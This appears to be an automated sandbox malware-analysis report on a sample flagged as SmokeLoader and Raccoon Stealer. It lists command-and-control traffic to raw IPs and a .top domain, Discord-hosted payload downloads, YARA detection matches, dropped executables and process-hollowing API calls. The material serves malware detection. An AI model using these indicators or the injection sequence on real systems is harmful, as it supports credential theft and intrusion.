5a 4d aa 78 71 b0 7b 66 f4 eb 40 3a aa db da 2b 5c cb e1 59 fb c4 57 cc 6f e6 65 be a9 0b 89 8b 87 2b 02 02 53 d6 5a e3 95 e6 d8 99 0a e2 4c 97 6f 09 c5 e9 fd c7 23 56 3e ec ab 1c 2b 48 06 30 c8 0b 4c c7 c7 5f c6 c9 6b ad 20 23 6b de a1 9f 3f b0 fc f8 06 04 cd 51 e5 30 d5 71 ef d6 a3 96 1c 41 be c0 52 50 1f fb 55 d2 7a b6 d5 5b d4 72 ed f6 4b a5 53 52 d2 c1 d4 d1 79 5e 67 ad 6d 11 30 c0 db 31 a2 29 77 31 ac b2 03 04 1e 57 f3 28 bc cb 58 67 5b 5b 67 c2 3f c3 78 d9 e8 1f ba e2 50 11 3b fc 5f e0 3c c7 4b d4 50 b0 20 e1 1e 3c d7 d3 2e e3 9c d8 f7 0d 82 23 af 40 16 06 1f 84 4c 7f 4f 6d 5b df 92 a0 c7 0b 80 51 a9 cd 6d e1 0c 1c 9d 89 05 4d 99 20 83 58 13 87 89 b0 6e 2c 9c c3 75 44 f4 8b 85 52 2a a2 e4 2f a9 e7 5b 9a 1e bc 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:04 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 f5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 6e 17 9d f8 77 88 8b 91 db d8 70 5d 07 4b ac 9e ed fd 31 bf c2 75 41 97 7e 49 8e 1c 1e bb aa 5e 4f 92 40 28 0d 93 ce 29 75 1c b4 51 a8 b9 c8 93 f9 ae 21 12 97 ea a4 45 b4 7d 5c b0 26 32 42 2e 8f a6 50 cb 3d 7a d4 38 fa 6b 50 36 0d d9 80 bd bf 6c 13 d9 e6 ae c1 27 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 73 fb 42 15 9b 06 56 53 af 17 bf c1 1d 09 52 2b e5 8d 83 7b 9e 45 f5 fe 73 8c 5f db c4 87 19 13 bf de 91 90 24 08 4f c5 63 28 c3 a1 61 6e de f5 69 19 13 17 7e 5f ef 9a a5 54 c9 a0 c1 bb dd 7a 08 90 4f 19 e0 2c 95 a9 1d 1a f4 96 be 25 51 61 9a 44 45 7e 88 2c c8 48 78 83 cc 4a 98 03 fd 6d 9e aa 6b ac 87 3f bd 61 0d c0 4d bf 46 24 fd f8 12 6c 33 6c 39 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 cf 0e ff 1a 0c 9b 4a d8 19 8e b6 4d 3b 45 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 15 74 33 f5 89 90 f7 ef e7 ec e7 6e 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac 4f 96 d1 55 7d af ba 68 92 0e ff 9d 7f 7f 55 40 57 74 7b 39 ba e6 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b af 1f ba f6 f6 01 e8 e4 47 d7 ab 90 4e b1 54 55 a5 04 bd 1b 6f c7 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee e3 ce 57 c3 62 79 e4 6b b5 5c 68 91 54 40 69 f3 2c fe a4 03 5b f3 1f e4 a6 f3 1a 9f 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 39 50 6d 83 e2 cf e2 e5 84 0e 15 b0 79 8a c3 e0 2b b9 ce b9 01 7e 17 28 d2 0a 4c 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 40 80 e3 dc e7 52 86 20 2b c4 3a 96 4d f7 e7 17 3f fc 9f 7c 4d 9a 70 d4 03 43 a6 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 75 98 c3 e7 23 da af b8 30 4a 43 43 6c 76 02 62 18 5a 67 fa 40 8e af 88 c1 20 ab 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 cb 23 1e ee 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:05 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=94Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>

Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.214

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mnhikj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: hajezey1.top

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49881 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 3.2.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.2E6C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.2E6C.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.bsstvub.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.2E6C.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CFE9H9mdWr.exe.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.12C6.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.443536415.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.465800320.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.401208082.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.466019596.0000000003001000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.401135304.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.343715666.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.331439665.0000000004E91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.414180179.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.484679708.0000000002CE1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.484587747.0000000002CC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.343625183.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.414253923.00000000004F1000.00000004.00020000.sdmp, type: MEMORY

Source: 5AFD.exe, 00000021.00000002.484865861.0000000002E3A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.69D3.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.69D3.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 69D3.exe PID: 6156, type: MEMORYSTR

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 39F6.exe.12.dr, ??????????????/_?????xptkvqfesn.cs

Large array initialization: _?????nacpgkwmie: array initializer size 208904

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 0_2_00432FA0	0_2_00432FA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE335D0	29_2_6CE335D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED1D55	29_2_6CED1D55
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE00D20	29_2_6CE00D20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED2EF7	29_2_6CED2EF7
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE26E30	29_2_6CE26E30
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC67E2	29_2_6CEC67E2
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE32F70	29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1B090	29_2_6CE1B090
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE38840	29_2_6CE38840
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A830	29_2_6CE2A830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE06800	29_2_6CE06800
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1002	29_2_6CEC1002
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CECE2C5	29_2_6CECE2C5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED32A9	29_2_6CED32A9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBFA2B	29_2_6CEBFA2B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB23E3	29_2_6CEB23E3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE58BE8	29_2_6CE58BE8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3ABD8	29_2_6CE3ABD8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3EBB0	29_2_6CE3EBB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEAEB8A	29_2_6CEAEB8A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2AB40	29_2_6CE2AB40
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_00425150	35_2_00425150
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_0042419D	35_2_0042419D
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_0041FAF0	35_2_0041FAF0
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_00403340	35_2_00403340
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_00414437	35_2_00414437
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_00422E27	35_2_00422E27
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_00422F47	35_2_00422F47
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_0041FF88	35_2_0041FF88

Source: DC45.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DC45.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe

Section loaded: taskschd.dll

Jump to behavior

Source: CFE9H9mdWr.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 31.0.4F44.exe.830000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.234F.exe.1c0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 40.0.4F44.exe.3f0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 40.0.4F44.exe.3f0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.4F44.exe.830000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B4BD.exe.e30000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.4F44.exe.830000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 40.0.4F44.exe.3f0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.2.B4BD.exe.e30000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B4BD.exe.e30000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.234F.exe.1c0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B4BD.exe.e30000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B4BD.exe.e30000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.234F.exe.1c0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 40.0.4F44.exe.3f0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.4F44.exe.830000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.234F.exe.1c0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\DEC6.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\234F.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\4F44.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: String function: 6CE5D08C appears 37 times
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: String function: 6CE0B150 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: String function: 6CE95720 appears 41 times
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: String function: 00410ED0 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: String function: 0040FB00 appears 100 times

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 0_2_00960110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_00960110
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_2_0040185B Sleep,NtTerminateProcess,	3_2_0040185B
